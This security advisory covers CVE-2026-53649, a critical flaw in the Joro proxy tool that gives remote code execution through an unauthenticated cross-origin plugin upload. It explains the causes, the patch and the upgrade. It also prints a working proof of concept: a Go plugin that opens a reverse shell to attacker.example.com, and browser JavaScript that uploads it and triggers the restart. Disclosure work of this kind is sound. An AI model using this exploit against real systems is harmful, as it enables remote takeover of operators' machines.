critical · 9.6CVE-2026-53649Jul 8, 2026

CVE-2026-53649: Joro Unauthenticated Cross-Origin Plugin Upload RCE

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Joro's default proxy mode exposed its local API with no authentication and a wildcard CORS policy, letting any webpage the operator visited silently upload a native plugin and trigger a restart to ach

Packagegithub.com/BishopFox/joro
Ecosystemgo
Affected< 0.0.0-20260601151442-5c0ca35db828
Fixed in0.0.0-20260601151442-5c0ca35db828

The problem

Joro <= v1.1.0 in default proxy mode binds its API on `127.0.0.1:9090` with zero authentication and `Access-Control-Allow-Origin: *` on every response. Because `multipart/form-data` is a CORS-safelisted content type, browsers send cross-origin POSTs to that API without a preflight, so any attacker-controlled page the operator visits can reach privileged endpoints freely.

The plugin upload endpoint (`/api/v1/plugins/upload`) accepts arbitrary `.so` files. Go's `plugin.Open()` in the loader runs the plugin's `init()` function before any symbol lookup, so a plugin with no exports still executes its payload the moment Joro restarts.

Chaining upload and restart gives an attacker unauthenticated RCE as the operator's user from a single page visit.

Proof of concept

A working proof-of-concept for CVE-2026-53649 in github.com/BishopFox/joro, with the exact payload below.

javascript
<!-- Attacker page: operator visits this, JavaScript does the rest -->
<!-- Step 1: build pwn.so (compile on attacker host matching Joro's release ABI) -->

<!-- pwn.go -->
// package main
// import (
//   "net"
//   "os/exec"
// )
// func init() {
//   go func() {
//     c, _ := net.Dial("tcp", "attacker.example.com:4444")
//     cmd := exec.Command("/bin/bash", "-i")
//     cmd.Stdin = c; cmd.Stdout = c; cmd.Stderr = c
//     cmd.Run()
//   }()
// }

<!-- Step 2: JavaScript on attacker page (no preflight, multipart/form-data is safelisted) -->
<script>
async function pwn() {
  // Fetch the pre-built plugin from attacker origin (same-origin fetch, no CORS issue)
  const blob = await fetch('https://attacker.example.com/pwn.so').then(r => r.blob());

  // POST to Joro's unauthenticated API -- no preflight because multipart/form-data is CORS-safelisted
  const fd = new FormData();
  fd.append('plugin', blob, 'pwn.so');
  await fetch('http://127.0.0.1:9090/api/v1/plugins/upload', {
    method: 'POST',
    body: fd
    // No auth header needed. No CORS preflight triggered.
  });

  // Trigger restart; plugin init() fires, dials back to attacker listener
  await fetch('http://127.0.0.1:9090/api/v1/system/restart', { method: 'POST' });
}
pwn();
</script>

Three weaknesses chain into the exploit. First, `internal/api/server.go` only applied `AuthMiddleware` when `listenerMode` was `true`, leaving every proxy-mode endpoint open with no token or credential required. Second, `corsMiddleware` set `Access-Control-Allow-Origin: *` unconditionally, and because `multipart/form-data` is a CORS-safelisted content type, browsers skip the preflight entirely, so the loopback bind offered no real isolation against browser-mediated requests.

Third, `internal/plugins/loader.go` called `plugin.Open()` which executes `init()` before any symbol lookup, meaning a plugin with no exported symbols still runs its payload on restart.

The patch removes `corsMiddleware` entirely and replaces it with `originGuard`, which rejects state-changing requests whose `Sec-Fetch-Site` header is `cross-site` or `same-site`, and additionally validates that the `Origin` hostname matches the request `Host`.

The WebSocket upgrader's `CheckOrigin` was tightened the same way. A second commit forces the proxy-mode UI/API to bind on `127.0.0.1` regardless of `--bind`, and removes the wildcard exception in `hostAllowed` to close the DNS-rebinding path that would otherwise let a rebound hostname bypass the same-origin check.

CWE-306 (Missing Authentication), CWE-352 (CSRF), CWE-434 (Unrestricted Upload), CWE-942 (Permissive CORS).

The fix

Upgrade to Joro commit `5c0ca35db828` (pseudo-version `0.0.0-20260601151442-5c0ca35db828`) or any later release. The fix removes the wildcard CORS middleware, adds an `originGuard` that enforces same-origin on all mutating requests using `Sec-Fetch-Site` and `Origin`/`Host` comparison, tightens the WebSocket origin check, forces the proxy-mode API to bind only on `127.0.0.1`, and removes the wildcard exception in `hostAllowed` to block DNS rebinding.

If you cannot upgrade immediately, block outbound browser access to `127.0.0.1:9090` via a local firewall rule or browser extension as a temporary workaround.

Reported by cstover.

References: [1][2]

Related research